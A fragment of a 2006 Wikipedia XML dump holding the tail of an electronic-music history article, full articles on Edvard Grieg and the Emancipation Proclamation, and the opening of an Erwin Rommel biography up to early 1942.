:At IRCAM in Paris in 1982, flutist Larry Beauregard had connected his flute to DiGiugno's 4X audio processor, enabling real-time pitch-following. On [[Guggenheim]] at the time, I extended this concept to real-time score-following with automatic synchronized accompaniment, and over the next two years Larry and I gave numerous demonstrations of the computer as a Chamber musician, playing [[Handel]] flute sonatas, [[Boulez]]'s ''Sonatine for flute and piano'' and by 1984 my own ''Synapse II for flute and computer'' the first piece ever composed expressly for such a setup. A major challenge was finding the right software constructs to support highly sensitive and responsive accompaniment. All of this was pre-MIDI, but the results were impressive even though heavy doses of tempo rubato would continually surprise my Synthetic Performer. In 1985 we solved the tempo rubato problem by incorporating learning from rehearsals (each time you played this way the machine would get better). We were also now tracking violin, since our brilliant young flutist had contracted a cancer. Moreover, this version used a new standard called MIDI, and here I was ably assisted by former student Miller Puckette, whose initial concepts for this task he later expanded into a program called MAX. [51]

The last decade brought a flurry of new activity. In the 1990s, interactive computer-assisted performance started to become popular. A description of a new real-time development follows:

:Automated Harmonization of Melody in Real Time: An interactive computer system, developed in collaboration with flutist/composer [[Pedro Eustache]], for realtime melodic analysis and harmonic accompaniment. Based on a novel scheme of harmonization devised by Eustache, the software analyzes the tonal melodic function of incoming notes, and instantaneously performs an orchestrated harmonization of the melody. The software was originally designed for performance by Eustache on Yamaha WX7 wind controller, and was used in his composition ''Tetelestai'', premiered in [[Irvine, California]] in March 1999. [52]

[[Tod Machover]] (MIT and IRCAM) composed ''Begin Again Again'' for &quot;hyper[[cello]],&quot; an interactive system of sensors measuring physical movements of the cellist. This piece was premiered by [[Yo-Yo Ma]].

Max Mathews perfected ''Radio Baton'' to compliment his Conductor program for real-time tempo, dynamic and timbre control of a pre-input electronic score.
Morton Subotnick released a multimedia CD-ROM ''All My Hummingbirds Have Alibis''.
Many used MIDI technology to compose works that included acoustic instruments (such as [[James Mobberley]]'s ''Caution to the Winds'' for piano and tape) pioneered by Mario Davidovsky's ''Synchronisms'' series several decades earlier.

Electronic art music has had a significant influence on [[mass culture]], from the aforementioned Beatles to [[Michael Jackson]], who used his [[synclavier]] to realize timbres conceived in his head. Due to technological advancements made over the past century, [[timbre composition]] allows for just as much creative freedom as any other art form. The precise modulation of numerous parameters of sound allows composers to satisfactorily express themselves not only with melodies, harmonies, and rhythms, but with [[timbre]]s as well.

==Footnotes==
See Bibliography.

[17] Patricia Spencer, interview with author.

[18] Elizabeth McNutt, interview with author.

[19] [[Mario Davidovsky]], interview with Bruce Duffie.

[20] Herbert Russcol, The Liberation of Sound (Englewood Cliffs, New Jersey, 1972), 67.

[21] Russcol, 67.

[22] Ferruccio Busoni, ''Sketch of a New Aesthetic of Music'' (New York: Dover Publications, 1962). Quoted in Russcol, 34-36.

[23] Russcol, 36.

[24] Russcol, 35-36.

[25] Russcol, 40.

[26] Rosscol, 68.

[27] Russcol, 68.

[28] Russcol, 70.

[29] Jeff Snyder, ''Pierre Schaeffer: Inventor of Musique Concrete, &lt;http:csunix1.lvc.edu/~snyder/em/schaef.html&gt;, May 2002.

[30] Russcol, 92.

[31] Ibid.

[32] Ibid.

[33] Otto Luening, ''An Unfinished History of Electronic Music'', Music Educators Journal (1968):1.

[34] Russcol, 94.

[35] Ibid.

[36] Russcol, 94-95.

[37] Otto Luening, &quot;Some Random Remarks About Electronic Music&quot;, ''Journal of Music Theory'' 8 (1964): 89.

[38] Ibid.

[39] Russcol, 96-97.

[40] Michael Kurtz, Stockhausen: A Biography (London: Faber and Faber, 1994): 75-76.

[41] Ibid.

[42] From the liner notes of ''The Varese Album'', Columbia Records, NY.

[43] Elliott Schwartz, ''Electronic Music'' (New York: Praeger, 1975): 347.

[44] Dunn, David, ''A History of Electronic Music Pioneers,'' Ars Electronica (1992) &lt;http: artscilab.org/~david/writings/pioneers.pdf&gt;. 2001.

[45] Kurtz, 1.

[46] Schwartz, 124.

[47] Richard Bayly, Ussachevsky on Varese: An Interview,&quot; ''Perspectives of New Music (1983): 149.

[48] Morgan, 477.

[49] Schwartz, 359.

[50] Johnstone, 58.

[51] [[Barry Vercoe|Vercoe, Barry]], ''History of cSound'', &lt;http://www.csounds.com/cshistory/&gt;, 2002.

[52] Automated Harmonization of Melody &lt;http://music.arts.uci.edu/dobrian/research02.htm&gt; Copyright © 2002 by Sarah Louise Bassingthwaighte. All rights reserved.

http://www.subliminal.org/flute/dissertation/ch02.html

==See also==

*[[Computer Music]]
*[[Acousmatic]]
*[[Electroacoustic]]
*[[Sonology]]
*[[Sound sculpture]]

==Bibliography==

*Chadabe J., ''Electric Sound: The Past and Promise of Electronic Music'', Prentice Hall, NJ, 1997.
*Emmerson S., ''The Language of Electroacoustic Music'', Macmillan Press, 1986, London.
*Griffiths Paul, ''Modern Music and After: Directions Since 1945'', Oxford University Press, Oxford, 1995.
*Roads C., ''The Computer Music Tutorial'', MIT Press, Cambridge, MA, 1996.

==External links==

*[http://www.emf.org/ EMF.org] (Electronic Music Foundation).
*[http://www.cdemusic.org/index.html CDemusic.org].
*[http://www.nime.org/ NIME.org] (New Interfaces for Musical Expression).
*[http://www.furious.com/perfect/ohm OHM - The Early Gurus of Electronic Music]

{{Electronic_music-footer}}

[[Category:Electronic music genres]][[Category:Classical music]]</text>
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  <page>
    <title>Edvard Grieg</title>
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      <text xml:space="preserve">[[Image:Edvard_Grieg.jpg|thumb|200px|right|Edvard Grieg]]
'''Edvard Hagerup Grieg''' ([[June 15]], [[1843]]&amp;ndash;[[September 4]], [[1907]]) was a [[Norway|Norwegian]] [[composer]] and [[pianist]] who composed in the [[romantic period]]. He is best known for his [[Piano Concerto (Grieg)|Piano Concerto in A minor]], for his [[incidental music]] to [[Henrik Ibsen]]'s [[play]] ''[[Peer Gynt]]'', and for his lyric pieces for the piano.

==Biography==

Grieg was born in [[Bergen, Norway|Bergen]], and was of partial [[Scotland|Scottish]] descent; the original family name was spelled &quot;Greig&quot;. After the [[Battle of Culloden]] in [[1746]], his great-grandfather travelled widely, settling in Norway around [[1770]] as a businessman in [[Bergen, Norway|Bergen]]. Edvard was brought up in a musical home. His mother, Gesine, became his first [[piano]] teacher. 

In the summer of [[1858 in music|1858]], Grieg met the legendary Norwegian [[violinist]] [[Ole Bull]], who was a friend of the family and Gesine's brother-in-law. Bull noticed the 15-year-old boy's talent and persuaded his parents to send him to further develop his talents at the [[Leipzig Conservatory]], then directed by [[Ignaz Moscheles]].

Grieg enrolled in the [[music school|conservatory]], concentrating on piano, and enjoyed the numerous concerts and recitals given in [[Leipzig]].  He disliked the discipline of the conservatory course of study, yet he still achieved very good grades in most areas, the exception being [[organ (music)|organ]], which was then mandatory for piano students. In the spring of [[1860 in music|1860]], he survived a life-threatening [[lung]] disease. The following year he made his debut as a concert pianist, in [[Karlshamn]], [[Sweden]]. In [[1862]] he finished his studies in Leipzig, and held his first concert in his hometown of Bergen, where his programme included [[Ludwig van Beethoven|Beethoven]]'s ''[[Piano Sonata No. 8 (Beethoven)|Pathétique]]'' sonata.

In [[1863 in music|1863]], Grieg went to [[Copenhagen]], [[Denmark]], and stayed there for three years. He met the Danish composers [[J. P. E. Hartman]] and [[Niels Gade]]. He also met his fellow Norwegian composer [[Rikard Nordraak]] (composer of the [[Ja, vi elsker dette landet|Norwegian national anthem]]) who became a close friend and source of great inspiration. Nordraak died shortly after, and Grieg composed a [[Sørgemarsj over Rikard Nordraak|funeral march]] in his honor. Grieg had close ties with the [[Bergen Philharmonic Orchestra]] (Harmonien) and was Music Director of the orchestra from [[1880 in music|1880]]-[[1882 in music|1882]].

On [[June 11]], [[1867]], Grieg married his first cousin, [[Nina Grieg|Nina Hagerup]]. The next year, their daughter and only child, Alexandra, was born. The following summer, Grieg wrote his Piano Concerto op. 16 while on vacation in Denmark. [[Edmund Neupert]] gave the concerto its premiere performance on [[April 3rd]] [[1869]] in Copenhagen. Grieg himself was unable to be there due to commitments conducting in Christiania (as [[Oslo]] was then named).

In [[1868]] [[Franz Liszt]], who had not at that time met Grieg, wrote a testimonial for him to the Norwegian Ministry of Education, which led to Grieg obtaining a travel grant. The two finally met in [[Rome]] in [[1870]]. On Grieg's first visit the two went over Grieg's First Violin sonata, which pleased Liszt greatly. On the second visit, in April, Grieg brought with him the manuscript of his Piano Concerto, which Liszt proceeded to play at sight (including orchestral arrangement), greatly impressing his audience, although Grieg gently pointed out to him that he took the first movement too fast. Liszt also gave Grieg some unsound advice on orchestration (e.g. to give the slow movement melody to a solo trumpet). 

In the summer of [[1869]], Grieg's daughter Alexandra caught ill and died at the age of 13 months.

In 1876 Grieg created [[incidental music]] for the premiere of [[Ibsen]]'s play [[Peer Gynt]], at the request of the author. Many of the pieces from this work became very popular in the form of orchestral suites or piano and piano-duet arrangements.

Grieg's later life brought him fame but not wealth. He was awarded a government pension.

Edvard Grieg died in the autumn of [[1907]], after a long period of illness. The funeral drew thousands out on the streets of his hometown to honor the artist. He was 64. His and his wife's ashes are entombed in a mountain tomb near his house, [[Troldhaugen]].

==Music==

Grieg is noted as a nationalist composer, drawing inspiration from [[Norwegian folk music]]. Early works include a [[symphony]] and a [[piano sonata]]. He also wrote three [[Sonatas for Violin and Piano (Grieg)|sonatas for violin and piano]], and his many short pieces for piano &amp;mdash; often built on Norwegian folk tunes and dances &amp;mdash; led some to call him the [[Frédéric Chopin|Chopin]] of the north.

Among Grieg's best-known pieces are his [[Piano Concerto (Grieg)|Piano Concerto in A minor]], ten volumes of ''[[Lyric Pieces]]'' (for piano), and his [[incidental music]] to [[Henrik Ibsen]]'s [[play]] ''[[Peer Gynt]]'', especially for ''[[Morning Mood]]'' and ''[[In the Hall of the Mountain King]]''.  Another well-known piece is his ''Holberg Suite'' (for [[string instrument|string]] [[orchestra]]). In all his smaller scale pieces are probably the most successful musically. The Piano Concerto probably retains popularity because of its impressive opening flourish: the slow movement, with its folk-like melodies, is perhaps its most successful feature.

Grieg's songs now feature frequently in recitals and it is perhaps in these and the 'Lyric Pieces' that his originality shows itself most convincingly.

==Grieg's music in popular culture==

''Morning Mood'' was a favorite of [[Carl Stalling]] who often used it for morning establishing shots in [[Warner Bros]]. cartoons. ''In the Hall of the Mountain King'' was famously used in the [[1931]] film ''[[M (1931 movie)|M]]'', in which [[Peter Lorre]]'s character, a serial killer who preys on children, whistles it. The piece has also seen extensive use in movies and commercials, usually in accordance with a dramatic and fantastic event.  The first movement of Grieg's Piano Concerto is used in [[Adrian Lyne]]'s [[1997]] film ''[[Lolita]]''. Another piece from  ''Peer Gynt'', ''Anitra's Dance'', serves as background music for the fourth game in the [[Quest for Glory]] series. 

A [[musical theatre|musical]], '[[Song of Norway]]', based very loosely on Grieg's life and using his music, was created in [[1944]] and filmed in [[1970]].


==Important Repertoire==
- Several Books of lyric pieces - notably, [[Wedding day at troldhaugen]], [[At your feet]], [[Norweigen melody]], [[Poeme erotic]] and Gone,

- Holberg Suite,

- Music for [[Peer Gynt]],

- Norwegian dances,

- [[Piano concerto]] in A minor,

- [[Concert ouverture]], In autumn,

- [[Symphonic Dances]].

==See also==

*[[:Category:Compositions by Edvard Grieg]]

==External links==
*{{IMSLP | id=Grieg%2C_Edvard | cname=Grieg}}
*[http://www.edvardgrieg.no The Grieg archives at Bergen Public Library]
*[http://www.troldhaugen.no/default.asp?sp=2 Edvard Grieg Museum Troldhaugen]
*[http://www.mnc.net/norway/GRIEG.HTM Biography of Grieg]
*[http://www.gopera.com/lieder/live/kringelborn.html MP3 recording of Grieg's song cycle ''Haugtussa'']
*[http://www.imdb.com/title/tt0303955/ Film about Grieg's life]
*[http://home.online.no/~trold/griegopus.htm Opus-list (Norwegian/English)]


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[[Category:Romantic composers|Grieg, Edvard]]
[[Category:Norwegian classical pianists|Grieg, Edvard]]
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  </page>
  <page>
    <title>Emancipation Proclamation</title>
    <id>9515</id>
    <revision>
      <id>41912158</id>
      <timestamp>2006-03-02T15:51:49Z</timestamp>
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      <comment>/* Background */</comment>
      <text xml:space="preserve">:''This article describes the 1862 United States proclamation freeing slaves in some parts of the U.S. For the 1834 act banning slavery in the colonies of the British Empire, see [[Slavery Abolition Act]].

[[Image:Emancipation_proclamation_document.jpg|thumb|The Emancipation Proclamation]]

The '''Emancipation Proclamation''' was a declaration by [[United States]] [[President of the United States | President]] [[Abraham Lincoln]] announcing that all [[slavery|slaves]] in [[Confederate States of America|Confederate]] territory still in rebellion were freed. The Proclamation exempted slaveholding [[Border states (Civil War)|border states]] which had not seceded from the Union, and those states already under Union control.  As Union armies advanced, every week thousands of slaves were liberated in fact. Legally their emancipation was effected by the [[Thirteenth Amendment to the United States Constitution|Thirteenth Amendment]] ratified in late 1865. 

== How the Emancipation Proclamation was issued ==
The Proclamation was issued in two parts. The first part, issued on September 22, 1862, was a preliminary announcement outlining the intent of the second part, which officially went into effect January 1, 1863, during the second year of the [[American Civil War]]. It was [[Abraham Lincoln]]'s declaration that all [[slavery|slaves]] in all states which had seceded from the Union and which had not returned to federal control by January 1, 1863 would be [[emancipation|emancipated]]. The ten affected states were individually named in the second part issued on January 1, 1863. Not included were Tennessee, (already under Union control), and the Union slave states of Maryland, Delaware, Missouri and Kentucky.  Specific exemptions were stated for 48 counties designated to become the state of [[West Virginia]], along with several other named counties of [[Virginia]]; and also [[New Orleans, Louisiana|New Orleans]] and several named parishes in [[Louisiana]] already under Union control.  That is, areas under Union control on January 1, 1863 were not affected.

The Proclamation, normally at the National Archives, will be on display at the Bill Clinton Presidential Library and Museum in Little Rock, Arkansas, in 2007, as part of the 50th anniversary of the integration of Central High School in that city.

== Background ==
[[Image:Emancipation_proclamation.jpg|thumb|right|250px|First Reading of the Emancipation Proclamation - Lincoln meets with his Cabinet.]]

A strict application of the [[Fugitive Slave Law of 1850]] could have required return of fugitive slaves to their masters, but on March 13, 1862, Lincoln forbade all Union army officers from returning fugitive slaves.  On April 10, 1862, Congress declared that the federal government would compensate slave owners who freed their slaves. All slaves in the [[District of Columbia (geography)|District of Columbia]] were freed in this way on April 16, 1862. On June 19, 1862, Congress prohibited slavery in United States territories, thus nullifying the 1857 decision of the Supreme Court in the [[Dred Scott v. Sandford|Dred Scott Case]], which had ruled that Congress was powerless to regulate slavery in the territories.

In January 1862, [[Thaddeus Stevens]], the Republican leader in the House, called for total war against the rebellion, arguing that emancipation would ruin the rebel economy.  In July 1862 Congress passed, and Lincoln signed, the &quot;Second Confiscation Act.&quot; It liberated the slaves held by rebels. [http://www.history.umd.edu/Freedmen/conact2.htm Original Text].  It provided: &lt;blockquote&gt;
SEC. 2. And be it further enacted, That if any person shall hereafter incite, set on foot, assist, or engage in any rebellion or insurrection against the authority of the United States, or the laws thereof, or shall give aid or comfort thereto, or shall engage in, or give aid and comfort to, any such existing rebellion or insurrection, and be convicted thereof, such person shall be punished by imprisonment for a period not exceeding ten years, or by a fine not exceeding ten thousand dollars, and by the liberation of all his slaves, if any he have; or by both of said punishments, at the discretion of the court.
...&lt;br&gt;
SEC. 9. And be it further enacted, That all slaves of persons who shall hereafter be engaged in rebellion against the government of the United States, or who shall in any way give aid or comfort thereto, escaping from such persons and taking refuge within the lines of the army; and all slaves captured from such persons or deserted by them and coming under the control of the government of the United States; and all slaves of such person found or being within any place occupied by rebel forces and afterwards occupied by the forces of the United States, shall be deemed captives of war, and shall be forever free of their servitude, and not again held as slaves. &lt;/blockquote&gt;

Lincoln himself had declared he had no constitutional authority to free the slaves. In addition, freeing slaves was still a risky political act, since there were still slave states loyal to the Union and the initial war aims were centered on preserving the Union rather than freeing slaves. As such, the proclamation was a military order issued by Lincoln in his capacity as Commander-in-Chief, rather than the equivalent of a statute enacted by Congress, or a constitutional amendment. There is also some argument that the Emancipation Proclamation itself was unconstitutional, as the Commander-in-Chief power extends to directing the activities of the armed forces, not making new laws (see ''Youngstown Sheet and Tube Co. v. Sawyer'', 343 U.S. 579 (1952) (holding that the president lacked power as commander-in-chief to seize steel mills for Korean War effort). The Emancipation Proclamation also allowed for the admittance of freed slaves into the United States military (though the military was segregated), an unusual opportunity taken advantage of by nearly 200,000 black men, many of them former slaves. This gave the North an additional manpower resource that the South would not emulate until the final days before its defeat.

Lincoln first discussed the proclamation with his cabinet in July 1862, but because of the political implications of this act (including the presence of slave states within the Union), he felt that he needed a Union victory in the Civil War before he could issue it. After the [[Battle of Antietam]], in which Union troops turned back a [[Confederate States of America|Confederate]] invasion of Maryland, he issued a preliminary proclamation on [[September 22]], [[1862]]. The final proclamation was then issued in January of the following year.

The Emancipation Proclamation itself had limited immediate effect upon slavery, except as territory in Confederate states came under Union control. Slaves in the [[border states (Civil War)|border states]] ([[Delaware]], [[Kentucky]], [[Maryland]], [[Missouri]] and [[West Virginia]]) which remained loyal to the Union were not affected. Secretary of State [[William Seward]] commented on this by remarking, &quot;We show our sympathy with slavery by emancipating slaves where we cannot reach them and holding them in bondage where we can set them free.&quot; Had any seceding state rejoined the Union (or simply returned its congressmen to Washington) before it took effect, it would have been in the same position as the border states and could have kept slavery, at least temporarily (although Maryland, Missouri, Tennessee, and West Virginia all went on to abolish slavery by their own internal political processes even before the ratification in 1865 of the [[United States Constitution|Constitution's]] [[Thirteenth Amendment to the United States Constitution|13th amendment]] which outlawed slavery uniformly throughout the entire nation).

Although implicitly granted authority by Congress, Lincoln used his powers as Commander-in-Chief of the Army and Navy, &quot;as a necessary war measure&quot; as the basis of the proclamation.

In short, If you remained loyal to the Union you could continue to own slaves.

== Immediate historical impact ==
Despite the limited immediate effect on the slaves, the proclamation represented a shift in the war objectives of the North&amp;mdash;merely reuniting the nation would no longer become the sole outcome. It represented a major step toward the ultimate abolition of slavery in the United States and the formation of a &quot;more perfect Union.&quot;	

However, there were a limited number of slaves who were freed immediately by the proclamation. Runaway slaves who made it to Union lines had been held by the Union army as &quot;contraband of war&quot; in contraband camps; when the proclamation took effect they were told at midnight that they were free to leave. Also, the [[Sea Islands]] off the coast of [[Georgia (U.S. state)|Georgia]] had been occupied by the Union navy earlier in the war. The whites had fled to the mainland while the blacks stayed, largely running their own lives. Naval officers read the proclamation to them and told them they were free.

In the military, the reaction to this proclamation varied widely, with some units coming to near mutiny in protest, and desertions were reported because of it. On the other hand, other units were inspired with the adoption of a cause that seemed to them to ennoble their efforts, such that at least one unit took up the motto &quot;For Union and Liberty&quot;.

Slaves were part of the &quot;engine of war&quot; for the Confederacy. They produced and prepared food; sewed uniforms; repaired railways; worked on farms and in factories, shipping yards, and mines; built fortifications; and served as hospital workers and common laborers. To encourage discontent among slaves in the Confederacy, a million copies of the Emancipation Proclamation were distributed in the Union-occupied South and, as hoped, news of it spread rapidly by word of mouth, arousing hopes of freedom, creating general confusion, and encouraging many to escape.

== International Impact ==
Abroad, as Lincoln hoped, the Proclamation turned foreign popular opinion in favor of the Union for its new commitment to end slavery. That shift ended any hope the Confederacy might have had of gaining official recognition, particularly with the [[United Kingdom of Great Britain and Ireland]]. As [[Henry Adams]] noted, &quot;The Emancipation Proclamation has done more for us than all our former victories and all our diplomacy.&quot;

== Postbellum ==
Near the end of the war, Republican [[Abolitionism|abolitionists]] were concerned that the Emancipation Proclamation would be construed solely as a war act and thus unconstitutional once fighting ended. They were also increasingly anxious to secure the freedom of all slaves, not just those freed by the Emancipation Proclamation. Thus pressed, Lincoln staked a large part of his 1864 presidential campaign on a constitutional amendment to abolish slavery uniformly throughout the United States. Lincoln's campaign was bolstered by separate votes in both Maryland and Missouri to abolish slavery in those states. Maryland's new constitution abolishing slavery took effect [[November 1]], [[1864]]. Winning re-election, Lincoln pressed the lame-duck [[Thirty-eighth United States Congress|38th Congress]] to pass the proposed amendment immediately rather than wait for the incoming [[Thirty-ninth United States Congress|39th Congress]] to convene. On [[January 31]], [[1865]], Congress sent to the state legislatures for ratification what became the [[Thirteenth Amendment to the United States Constitution|13th Amendment]], banning slavery in all U.S. states and territories. The amendment was ratified by the legislatures of enough states by [[December 6]], [[1865]]. As a practical matter, by the time that the amendment was ratified, [[Kentucky]] was the only remaining state in the nation where there were still significant numbers of slaves who had not already been freed by other means.

{{wikisource}}

==References==
* [http://www.questia.com/PM.qst?a=o&amp;d=103250477 Herman Belz, ''Emancipation and Equal Rights: Politics and Constitutionalism in the Civil War Era'' (1978)]
* [http://www.questia.com/PM.qst?a=o&amp;d=10793158 John Hope Franklin, ''The Emancipation Proclamation'' (1963)]
* [http://www.questia.com/PM.qst?a=o&amp;d=6928200 Howard Jones, ''Abraham Lincoln and a New Birth of Freedom: The Union and Slavery in the Diplomacy of the Civil War'' (1999)]
* [http://www.questia.com/PM.qst?a=o&amp;d=105216005 Mitch Kachun, ''Festivals of Freedom: Memory and Meaning in African American Emancipation Celebrations, 1808-1915'' (2003)]
* [http://www.questia.com/PM.qst?a=o&amp;d=37435583 C. Peter Ripley, Roy E. Finkenbine, Michael F. Hembree, Donald Yacovone, ''Witness for Freedom: African American Voices on Race, Slavery, and Emancipation'' (1993)]
*  Silvana R. Siddali, ''From Property To Person: Slavery And The Confiscation Acts, 1861-1862'' (2005)
* John Syrett.  ''Civil War Confiscation Acts: Failing to Reconstruct the South'' (2005)
* [http://www.questia.com/PM.qst?a=o&amp;d=105900244 Michael Vorenberg, ''Final Freedom: The Civil War, the Abolition of Slavery, and the Thirteenth Amendment'' (2001)]


==External links==
* [http://www.loc.gov/rr/program/bib/ourdocs/EmanProc.html Emancipation Proclamation and related resources at the Library of Congress]
* [http://www.mrlincolnandfreedom.org/inside.asp?ID=39&amp;subjectID=3 Mr. Lincoln and Freedom: Emancipation Proclamation]
* [http://www.history.navy.mil/faqs/faq57-2.htm The text of the Emancipation proclamation]
* First Edition [http://www.sonofthesouth.net/leefoundation/civil-war/1862/october/emancipation-proclamation.htm Emancipation Proclamation]in 1862 Harper's Weekly
* [http://www.history.umd.edu/Freedmen/chronol.htm Chronology of Emancipation during the Civil War]
* [http://www.questia.com/PM.qst?a=o&amp;d=5010848510 Christopher Ewan, &quot;The Emancipation Proclamation and British Public Opinion&quot; ''The Historian'', Vol. 67, 2005]
 
[[Category:1863 in law]]
[[Category:African-American history]]
[[Category:History of slavery in the United States]]
[[Category:United States executive orders]]
[[Category:United States historical documents]]

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[[zh:解放黑奴宣言]]</text>
    </revision>
  </page>
  <page>
    <title>Erwin Rommel</title>
    <id>9516</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41980853</id>
      <timestamp>2006-03-03T00:48:57Z</timestamp>
      <contributor>
        <username>Adrian</username>
        <id>103917</id>
      </contributor>
      <comment>Reverted edits by [[User:65.32.103.165|65.32.103.165]] ([[User talk:65.32.103.165|t]]) ([[Special:Contributions/65.32.103.165|c]]) to last version by Leithp</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = Erwin Rommel |
  image_name     = Rommel portrait.jpg |
  image_caption  = Field Marshal Erwin Rommel in 1942 |
  date_of_birth  = [[November 15]], [[1891]] |
  place_of_birth = [[Heidenheim]], [[Germany]] |
  dead=dead |
  date_of_death  = [[October 14]], [[1944]] |
  place_of_death = [[Herrlingen]], [[Germany]] |
}}

'''Erwin Johannes Eugen Rommel''' or &quot;Rommel&quot; for short ({{Audio|De-Erwin_Rommel-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}}) ([[November 15]], [[1891]] – [[October 14]], [[1944]]) was one of the most distinguished [[Germany|German]] [[Generalfeldmarschall|Field Marshals]], and one of the greatest military leaders of his time.  He was the commander of the [[Deutsches Afrika Korps]] in [[World War II]], and is also known by the nickname ''The Desert Fox'' (''Wüstenfuchs'', {{Audio|De-Wüstenfuchs-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}}), for the skillful military campaigns he waged on behalf of the [[Wehrmacht|German Army]] in [[North Africa]]. He was later put in command of the German forces following the Allied invasion at [[Normandy]] in the final effort to defend the Fatherland. 

Rommel is often remembered not only for his remarkable military prowess, but also for his [[chivalry]] towards his adversaries - being one of the German commanders who disobeyed the [[Commando Order|commando order]]. He is also noted for possibly having taken part in a plot to assassinate Hitler, for which he was forced to commit suicide before the war's end.

==Early life and career==
Rommel was born in [[Heidenheim]], approximately 45 [[kilometre|km]] from [[Ulm]], in the state of [[Württemberg]]. He was baptised on the [[November 17]] [[1891]].  He was the second son of a [[Protestantism|Protestant]] Headmaster of the secondary school at [[Aalen]], Erwin Rommel the elder and Helene von Luz, a daughter of a prominent local dignitary. The couple also had three more children, two sons, Karl and Gerhard, and a daughter, Helene. Later recalling his childhood, Rommel (The Desert Fox) wrote that &quot;my early years passed very happily&quot;. At the age of 14, Rommel and a friend built a full-scale glider that was able to fly, although not very far. Young Erwin considered becoming an [[aeronautical engineering|engineer]]; however, on his father's insistence, he joined the local 124th Württemberg Infantry Regiment as an officer cadet in [[1910]] and, shortly after, was sent to the Officer Cadet School in [[Gdansk|Danzig]].

[[Image:Rommel cadet.jpg|thumb|right|160px|A young Rommel as an officer cadet around 1910]]
While at Cadet School, early in [[1911]], Rommel met his future wife, Lucie Maria Mollin. He graduated in November [[1911]] and was commissioned as a [[Lieutenant]] January [[1912]]. Rommel and Lucie married in [[1916]], and in [[1928]], they had a son, [[Manfred Rommel|Manfred]], who would later become the mayor of [[Stuttgart]]. Scholars [[John Bierman|Bierman]] and [[Colin Smith|Smith]] argue that, during this time, Rommel also had an affair with [[Walburga Stemmer]] in [[1912]] and that relationship produced a daughter named Gertrud (''[[The Battle of Alamein: Turning Point, World War II|1 p. 56]]'').

===World War I===
During [[World War I]], Rommel served in [[France]], as well as on the [[Romania|Romanian]] and [[Italy|Italian]] fronts, during which time he was wounded three times and awarded the [[Iron Cross|Iron Cross - First and Second Class]]. Rommel became the youngest recipient of [[Prussia]]'s highest medal, the [[Pour le Mérite]], an honor traditionally reserved for generals only and which he received after fighting in the mountains of west [[Slovenia]] - [[Battle of the Isonzo]] - Soca front. The award came as a result specifically from the [[Battle of Longarone]], and the capture of [[Mount Matajur]] - [[Slovenia]] and its defenders, numbering 150 Italian officers, 7000 men and 81 artillery guns. His batallion also played a key role in the decisive victory of the Central Powers over the [[Italian Army]] named the [[Battle of Caporetto]].

===Inter-War Years===
After the war Rommel held battalion commands, and was instructor at the Dresden Infantry School from [[1929]]-[[1933]] and the Potsdam War Academy from [[1935]]-[[1938]]. Rommel's war diaries, ''Infanterie greift an'' (''[[Infantry Attacks]]''), published in [[1937]], became a highly regarded military textbook, and also attracted the attention of [[Adolf Hitler]], who placed him in charge of the training of the ''[[Hitler Jugend]]'' that same year, all the while retaining his place at Potsdam. In [[1938]], Rommel, now a colonel, was appointed commandant of the War Academy at Wiener Neustadt. Here Rommel started his follow up to ''Infantry Attacks'', ''Panzer greift an'' (''Tank Attacks'' sometimes translated as ''[[The Tank In Attack]]'' ).  Rommel was removed after a short time; however, he was placed in command of [[Adolf Hitler]]'s personal protection battalion (''Führer-Begleitbattalion'').

==World War II==
[[Image:Rommel France 1940.jpg|right|thumb|200px|Rommel during the French campaign of 1940]]
===Poland 1939===
In the [[autumn]] of 1938 Hitler selected Rommel to be in charge of the Wehrmacht unit assigned to protect him during his visits to occupied [[Czechoslovakia]]. Just prior to the invasion of [[Poland]] he was promoted to [[Major General]] and made commander of the ''Führer-Begleitbattalion'', responsible for the safety of Adolf Hitler's mobile headquarters during the campaign.

===France 1940===
In [[1940]], only three months before the invasion, Rommel was given command of the [[German 7th Panzer Division|7th Panzer Division]], later nicknamed ''Gespenster-Division'' (the ''&quot;Ghost Division&quot;'', due to the speed and surprise it was consistently able to achieve, to the point that even the German High Command lost track of where it was), for ''[[Fall Gelb]]'' (&quot;Case Yellow&quot;), the invasion of [[France]] and the [[Low Countries]]. Remarkably, this was Rommel's first command of a Panzer unit. He showed considerable skill in this operation, repulsing a counter-attack by the [[British Expeditionary Force|BEF]] (British Expeditionary Force) at [[Battle of Arras (1940)|Arras]]. 7th Panzer was one of the first German units to reach the [[English Channel]] (on [[10 June]]) and would capture the vital port of [[Cherbourg]] ([[19 June]]). As a reward Rommel was promoted and appointed commander of the [[German 5th Light Division|5th Light Division]] (later reorganized and redesignated as the 21st Panzer) and of the [[German 15th Panzer Division|15th Panzer Division]], which were sent to [[Libya]] in early [[1941]] to aid the defeated and demoralized Italian troops, forming the ''[[Deutsches Afrika Korps]]'' 
({{Audio|De-Deutsches_Afrikakorps-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}}). It was in [[Africa]] where Rommel achieved his greatest fame as a commander.

===Africa 1941-43===
[[Image:AKrommel.jpg|thumb|250px|Erwin Rommel, 1941]]
Rommel spent most of 1941 building his organization and re-forming the shattered Italian units, who had suffered a string of defeats at the hands of [[Commonwealth of Nations|British Commonwealth]] forces under Major General [[Richard O'Connor]]. An offensive pushed the Allied forces back out of [[Libya]], but it stalled a relatively short way into Egypt, and the important port of [[Siege of Tobruk|Tobruk]], although surrounded, was still held by Allied forces under an [[Australia]]n General, [[Leslie Morshead]]. The Allied Commander-in-Chief, General [[Archibald Wavell]] made two unsuccessful attempts to relieve Tobruk ([[Operation Brevity]] and [[Operation Battleaxe]]).

Following the costly failure of Battleaxe, Wavell was relieved by Commander-in-Chief India, General [[Claude Auchinleck]]. Auchinleck launched a major offensive to relieve Tobruk ([[Operation Crusader]]) which eventually succeeded. During the confusion caused by the Crusader operation, Rommel and his staff several times ended up behind British lines. On one occasion Rommel went into a hospital for New Zealand soldiers - still under the control of the British. &quot;He inquired if anything was needed, promised the British medical supplies and drove off unhindered.&quot; - (''The Rommel Papers'', chapter 8 by General [[Fritz Bayerlein]].) 

Crusader was a defeat for Rommel. After several weeks of fighting Rommel ordered the withdrawal of all his forces from the area around Tobruk ([[December 7]] [[1941]]) and retreated back towards El Agheila. The British followed, attempting to cut off the retreating troops as they had done in 1940 but Rommel launched a counter-attack on [[January 20]] [[1942]] and mauled the British. The Afrika Korps retook Benghazi and the British pulled back to the Tobruk area and commenced building defensive positions.

